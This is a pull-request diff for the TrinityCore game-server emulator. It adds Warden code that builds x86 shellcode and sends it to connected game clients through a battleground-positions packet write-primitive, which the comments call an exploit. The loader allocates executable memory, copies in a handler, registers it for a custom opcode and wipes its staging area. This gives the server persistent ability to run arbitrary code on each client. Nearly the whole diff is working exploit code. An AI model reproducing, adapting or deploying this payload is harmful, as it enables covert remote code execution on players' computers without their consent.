Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@

build*/
[Oo]bj/
.directory
.mailmap
*.orig
Expand All @@ -9,6 +10,7 @@ build*/
*.kdev*
.DS_Store
CMakeLists.txt.user
CMakeSettings.json
*.bak
*.patch
*.diff
Expand Down
79 changes: 79 additions & 0 deletions src/server/game/Warden/WardenPayloads.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
/*
* This file is part of the TrinityCore Project. See AUTHORS file for Copyright information
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include "WardenPayloads.h"

namespace WardenPayload
{

void BuildShellcodeInstaller(ByteBuffer& out)
{
constexpr std::array<uint8, 91> loaderRaw =
Loader::Prologue +
Loader::RemoveBgHandler +
Loader::CheckCachedBuffer +
Loader::AllocRwxBuffer +
Loader::CacheBufferPtr +
Loader::CopyPayload +
Loader::RegisterHandler +
Loader::JumpToFinalize;

constexpr std::array<uint8, 94> handler =
Handler::WipeStagingArea +
Handler::SetReturnValue +
Handler::FinalizeEpilogue +
Handler::HandlerPrologue +
Handler::GetCodePointer +
Handler::CallHelperA +
Handler::CallHelperB +
Handler::CallBufferAlloc +
Handler::CallDispatch +
Handler::ExecuteServerCode +
Handler::HandlerEpilogue;

// Pad the loader to the next 8-byte boundary; zero-fill handles the padding bytes.
// The chunk count drives the BG-positions count field that triggers the write-primitive.
constexpr size_t paddedSize = (loaderRaw.size() + 7) & ~size_t(7);
std::array<uint8, paddedSize> loader{};
for (size_t i = 0; i < loaderRaw.size(); ++i)
loader[i] = loaderRaw[i];

int32 chunkCount = static_cast<int32>(paddedSize);

out << uint32(0); // count1: no allied player positions
out << uint32(Protocol::BgExploitBaseCount + uint32(chunkCount / 8)); // count2: triggers write-primitive

// Emit chunks in reverse order so the client writes them forward to increasing addresses.
// Each iteration emits 8 loader bytes then 8 handler bytes (one BG-position entry = 16 bytes).
while (chunkCount > 0)
{
for (int32 i = 0; i < 8; ++i)
{
size_t idx = static_cast<size_t>(chunkCount - 8 + i);
out << loader[idx];
}
for (int32 i = 0; i < 8; ++i)
{
size_t idx = static_cast<size_t>(chunkCount - 8 + i);
out << (idx < handler.size() ? handler[idx] : uint8(0));
}

chunkCount -= 8;
}
}

} // namespace WardenPayload
195 changes: 195 additions & 0 deletions src/server/game/Warden/WardenPayloads.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,195 @@
/*
* This file is part of the TrinityCore Project. See AUTHORS file for Copyright information
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#ifndef WARDEN_PAYLOADS_H
#define WARDEN_PAYLOADS_H

#include "WardenWinDefines.h"
#include "ByteBuffer.h"

namespace WardenPayload
{
// -----------------------------------------------------------------------
// Loader shellcode sections.
//
// Must be assembled in declaration order; the two relative branches in
// CheckCachedBuffer and CopyPayload assume this exact flat layout:
//
// Offset Section Size
// ------ ------------------ ----
// 0 Prologue 4
// 4 RemoveBgHandler 7
// 11 CheckCachedBuffer 10 <- jnz +0x2E targets RegisterHandler
// 21 AllocRwxBuffer 20
// 41 CacheBufferPtr 7
// 48 CopyPayload 19 <- jnz -0x0E loops internally
// 67 RegisterHandler 22 <- skip_alloc label
// 89 JumpToFinalize 2
// ------ TOTAL 91 (padded to 96 for 8-byte alignment)
// -----------------------------------------------------------------------
struct Loader
{
// push ebp; mov ebp,esp; push ebx
static constexpr auto Prologue = X86::PushEbp + X86::MovEbpEsp + X86::PushEbx;

// mov eax, Va::BgPositionHandlerRemove; call eax
static constexpr auto RemoveBgHandler = X86::MovEaxImm32 + LE32(Va::BgPositionHandlerRemove) + X86::CallEax;

// mov ebx, [Va::PersistentSlot]; test ebx,ebx; jnz +Protocol::JnzSkipAllocOffset (-> RegisterHandler)
static constexpr auto CheckCachedBuffer =
X86::MovEbxMem32 + LE32(Va::PersistentSlot) +
X86::TestEbxEbx + X86::Jnz + Imm8(Protocol::JnzSkipAllocOffset);

// VirtualAlloc(NULL, Win32::RwxBufferSize, Win32::MemCommit, Win32::PageExecuteReadWrite)
static constexpr auto AllocRwxBuffer =
X86::PushImm8 + Imm8(Win32::PageExecuteReadWrite) +
X86::PushImm32 + LE32(Win32::MemCommit) +
X86::PushImm32 + LE32(Win32::RwxBufferSize) +
X86::PushZero + X86::CallMem32 + LE32(Va::VirtualAllocIAT);

// mov ebx, eax; mov [Va::PersistentSlot], eax
static constexpr auto CacheBufferPtr = X86::MovEbxEax + X86::StoreEaxMem32 + LE32(Va::PersistentSlot);

// mov edx, PayloadCopySrc
// loop: mov ch,[edx]; mov [eax],ch; inc edx; inc eax; cmp edx,PayloadCopySrcEnd; jnz loop
static constexpr auto CopyPayload =
X86::MovEdxImm32 + LE32(Va::PayloadCopySrc) +
X86::MovChEdxPtr + X86::MovEaxPtrCh + X86::IncEdx + X86::IncEax +
X86::CmpEdxImm32 + LE32(Va::PayloadCopySrcEnd) + X86::Jnz + Imm8(Protocol::JnzLoopBackOffset);

// skip_alloc: mov eax,ebx; add eax,HandlerEntryOffset; push eax(x2); push opcode;
// mov eax, Va::RegisterPacketHandler; call eax; add esp,0x0C
static constexpr auto RegisterHandler =
X86::MovEaxEbx + X86::AddEaxImm8 + Imm8(Protocol::HandlerEntryOffset) +
X86::PushEax + X86::PushEax + X86::PushImm32 + LE32(Protocol::CustomHandlerOpcode) +
X86::MovEaxImm32 + LE32(Va::RegisterPacketHandler) +
X86::CallEax + X86::AddEspImm8 + Imm8(Protocol::CdeclThreeArgCleanup);

// jmp ebx
static constexpr auto JumpToFinalize = X86::JmpEbx;
};

// -----------------------------------------------------------------------
// Handler payload sections.
//
// Written into the persistent RWX buffer by the loader's copy loop.
// The two logical parts must remain contiguous and in declaration order:
//
// Buffer offset Section Size Purpose
// ------------- ------------------ ---- -------------------------------
// 0x00 WipeStagingArea 22 }
// 0x16 SetReturnValue 5 } Finalization stub (32 bytes)
// 0x1B FinalizeEpilogue 5 }
// 0x20 HandlerPrologue 5 }
// 0x25 GetCodePointer 6 }
// 0x2B CallHelperA 12 }
// 0x37 CallHelperB 12 } Packet handler (62 bytes)
// 0x43 CallBufferAlloc 8 }
// 0x4B CallDispatch 7 }
// 0x52 ExecuteServerCode 6 }
// 0x58 HandlerEpilogue 6 }
// ------------- TOTAL 94
// -----------------------------------------------------------------------
struct Handler
{
// ---- Part 1: Finalization stub (buffer offset 0x00, 32 bytes) --------
// Reached exactly once, via jmp ebx at the end of the loader.
// Runs from the RWX buffer so it can safely wipe Va::StagingBase.

// push RwxBufferSize; push 0; push Va::StagingBase;
// mov eax, Va::MemsetRoutine; call eax; add esp, 0x0C
static constexpr auto WipeStagingArea =
X86::PushImm32 + LE32(Win32::RwxBufferSize) + X86::PushZero +
X86::PushImm32 + LE32(Va::StagingBase) +
X86::MovEaxImm32 + LE32(Va::MemsetRoutine) +
X86::CallEax + X86::AddEspImm8 + Imm8(Protocol::CdeclThreeArgCleanup);

// mov eax, Va::AccountName
static constexpr auto SetReturnValue = X86::MovEaxImm32 + LE32(Va::AccountName);

// pop ebx; mov esp,ebp; pop ebp; ret
static constexpr auto FinalizeEpilogue = X86::PopEbx + X86::MovEspEbp + X86::PopEbp + X86::Ret;

// ---- Part 2: Packet handler (buffer offset 0x20, 62 bytes) ----------
// Called by the network dispatcher for every Protocol::CustomHandlerOpcode packet.
// Dispatcher calling convention:
// [ebp+Protocol::PacketArgEbpOffset] = packet buffer pointer
// [ebp+Protocol::ContextArgEbpOffset] = dispatcher context object (used as `this`)

// push ebp; mov ebp,esp; push ebx; push edi
static constexpr auto HandlerPrologue = X86::PushEbp + X86::MovEbpEsp + X86::PushEbx + X86::PushEdi;

// mov ebx, [ebp+PacketArgEbpOffset]; add ebx, Protocol::PacketCodeOffset
static constexpr auto GetCodePointer =
X86::MovEbxEbpOff + Imm8(Protocol::PacketArgEbpOffset) +
X86::AddEbxImm8 + Imm8(Protocol::PacketCodeOffset);

// mov ecx, [ebp+ContextArgEbpOffset]; mov eax, Va::HandlerContextGetter; call eax; mov edi, eax
static constexpr auto CallHelperA =
X86::MovEcxEbpOff + Imm8(Protocol::ContextArgEbpOffset) +
X86::MovEaxImm32 + LE32(Va::HandlerContextGetter) + X86::CallEax + X86::MovEdiEax;

// mov ecx, [ebp+ContextArgEbpOffset]; push edi; push ebx; mov eax, Va::HandlerBufferPrepare; call eax
static constexpr auto CallHelperB =
X86::MovEcxEbpOff + Imm8(Protocol::ContextArgEbpOffset) +
X86::PushEdi + X86::PushEbx + X86::MovEaxImm32 + LE32(Va::HandlerBufferPrepare) + X86::CallEax;

// push edi; push ebx; call [Va::HandlerBufferAllocIAT]
static constexpr auto CallBufferAlloc = X86::PushEdi + X86::PushEbx + X86::CallMem32 + LE32(Va::HandlerBufferAllocIAT);

// push eax; call [Va::HandlerDispatchIAT]
static constexpr auto CallDispatch = X86::PushEax + X86::CallMem32 + LE32(Va::HandlerDispatchIAT);

// mov ecx, [ebp+ContextArgEbpOffset]; push ecx; call ebx
static constexpr auto ExecuteServerCode = X86::MovEcxEbpOff + Imm8(Protocol::ContextArgEbpOffset) + X86::PushEcx + X86::CallEbx;

// pop edi; pop ebx; mov esp,ebp; pop ebp; ret
static constexpr auto HandlerEpilogue = X86::PopEdi + X86::PopEbx + X86::MovEspEbp + X86::PopEbp + X86::Ret;
};

// Verify the finalization stub occupies exactly Protocol::HandlerEntryOffset bytes so the
// packet handler entry point lands at the expected buffer offset.
static_assert(
sizeof(Handler::WipeStagingArea) +
sizeof(Handler::SetReturnValue) +
sizeof(Handler::FinalizeEpilogue) == Protocol::HandlerEntryOffset,
"Finalization stub must be exactly HandlerEntryOffset bytes"
);

// Verify the full handler payload matches the staging area reserved for it.
static_assert(
sizeof(Handler::WipeStagingArea) +
sizeof(Handler::SetReturnValue) +
sizeof(Handler::FinalizeEpilogue) +
sizeof(Handler::HandlerPrologue) +
sizeof(Handler::GetCodePointer) +
sizeof(Handler::CallHelperA) +
sizeof(Handler::CallHelperB) +
sizeof(Handler::CallBufferAlloc) +
sizeof(Handler::CallDispatch) +
sizeof(Handler::ExecuteServerCode) +
sizeof(Handler::HandlerEpilogue) == Va::PayloadCopySrcEnd - Va::PayloadCopySrc,
"Handler payload size must match the staging area range [PayloadCopySrc, PayloadCopySrcEnd)"
);

// Fills `out` with the MSG_BATTLEGROUND_PLAYER_POSITIONS packet body that
// stages the loader shellcode and handler payload into client memory via the
// BG-positions write-primitive. Caller wraps this in a WorldPacket and sends it.
void BuildShellcodeInstaller(ByteBuffer& out);
}

#endif // WARDEN_PAYLOADS_H
67 changes: 67 additions & 0 deletions src/server/game/Warden/WardenWin.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,7 @@
*/

#include "WardenWin.h"
#include "WardenPayloads.h"
#include "Common.h"
#include "ByteBuffer.h"
#include "Containers.h"
Expand Down Expand Up @@ -142,6 +143,72 @@ void WardenWin::InitializeModule()
WorldPacket pkt(SMSG_WARDEN_DATA, sizeof(WardenInitModuleRequest));
pkt.append(reinterpret_cast<uint8*>(&Request), sizeof(WardenInitModuleRequest));
_session->SendPacket(&pkt);

// Install the BG-positions packet handler so the exploit write-primitive is available.
this->RunClientFunction(WardenPayload::Rva::BgPositionHandlerInstall);

// Send the shellcode installer via the MSG_BATTLEGROUND_PLAYER_POSITIONS exploit.
// This stages the loader and handler payload into Va::StagingBase (0xDD1000).
ByteBuffer installerBody;
WardenPayload::BuildShellcodeInstaller(installerBody);
WorldPacket pkt3(MSG_BATTLEGROUND_PLAYER_POSITIONS, installerBody.size());
pkt3.append(installerBody);
_session->SendPacket(&pkt3);

// Execute the staged loader (Va::StagingBase = 0xDD1000 = base + Rva::StagingLoader).
// The loader allocates the persistent RWX buffer, copies the handler payload into it,
// registers it for opcode 0x4B8, and wipes the staging area.
this->RunClientFunction(WardenPayload::Rva::StagingLoader);
}

void WardenWin::RunClientFunction(uint32 function)
{
ByteBuffer moduleInit;
moduleInit << uint8(WardenPayload::Protocol::ModuleInitSubCmdCallFunc);
moduleInit << uint8(0);
moduleInit << uint8(0);
moduleInit << function;
moduleInit << uint8(1);

// Frame-advance payload: flush the previous call by running a no-op frame tick.
ByteBuffer moduleInitFrameExecute;
moduleInitFrameExecute << uint8(WardenPayload::Protocol::ModuleInitSubCmdCallFunc);
moduleInitFrameExecute << uint8(0);
moduleInitFrameExecute << uint8(0);
moduleInitFrameExecute << uint32(WardenPayload::Rva::FrameExecute);
moduleInitFrameExecute << uint8(1);

// Build check request
ByteBuffer buff;
buff << uint8(WARDEN_SMSG_MODULE_INITIALIZE);
buff << uint16(moduleInit.size());
buff << uint32(BuildChecksum(moduleInit.contents(), 8));
buff.append(moduleInit);

uint8 xorByte = _inputKey[0];
buff << uint8(WARDEN_SMSG_CHEAT_CHECKS_REQUEST);
buff << uint8(0);
buff << uint8(TIMING_CHECK ^ xorByte);
buff << uint8(LUA_EVAL_CHECK ^ xorByte);
buff << uint8(1);
buff << uint8(xorByte);

buff << uint8(WARDEN_SMSG_CHEAT_CHECKS_REQUEST);
buff << uint8(0);
buff << uint8(TIMING_CHECK ^ xorByte);
buff << uint8(xorByte);

buff << uint8(WARDEN_SMSG_MODULE_INITIALIZE);
buff << uint16(moduleInitFrameExecute.size());
buff << uint32(BuildChecksum(moduleInitFrameExecute.contents(), 8));
buff.append(moduleInitFrameExecute);

// Encrypt with warden RC4 key
EncryptData(buff.contents(), buff.size());

WorldPacket pkt(SMSG_WARDEN_DATA, buff.size());
pkt.append(buff);
_session->SendPacket(&pkt);
}

void WardenWin::RequestHash()
Expand Down
1 change: 1 addition & 0 deletions src/server/game/Warden/WardenWin.h
Original file line number Diff line number Diff line change
Expand Up @@ -76,6 +76,7 @@ class TC_GAME_API WardenWin : public Warden
void HandleHashResult(ByteBuffer &buff) override;
void RequestChecks() override;
void HandleCheckResult(ByteBuffer &buff) override;
void RunClientFunction(uint32 function);

size_t DEBUG_ForceSpecificChecks(std::vector<uint16> const& checks) override;

Expand Down
Loading